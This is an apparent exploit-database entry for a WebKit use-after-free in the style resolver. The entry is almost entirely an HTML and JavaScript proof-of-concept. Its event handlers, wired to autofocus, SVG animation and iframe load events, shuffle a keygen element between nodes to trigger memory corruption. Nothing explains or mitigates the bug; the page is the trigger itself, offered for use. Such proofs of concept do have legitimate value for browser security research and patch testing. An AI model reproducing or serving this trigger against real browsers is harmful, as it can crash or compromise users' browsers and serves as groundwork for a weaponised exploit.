Exploit for WebKit: use-after-free in WebCore::Style::TreeResolver::styleForElement

## https://sploitus.com/exploit?id=SSV:96890
<script>
function eventhandler1() {
try { txt.appendChild(kg); } catch(e) { }
}

function eventhandler2() {
try { anim.appendChild(kg); } catch(e) { }
}

function eventhandler3() {
try { table.scrollIntoView(true); } catch(e) { }
}

</script>
<table id="table"></table>
<form>
<keygen id="kg" autofocus="autofocus">
</form>
<svg>
<animate id="anim" attributeName="text-anchor" from="middle" to="inherit" onbegin="eventhandler1()" />
<text id="txt" onload="eventhandler3()">
<font color="white"></font>
<select onfocus="eventhandler2()" autofocus="autofocus">
<textarea>a</textarea>
<iframe onload="eventhandler1()"></iframe>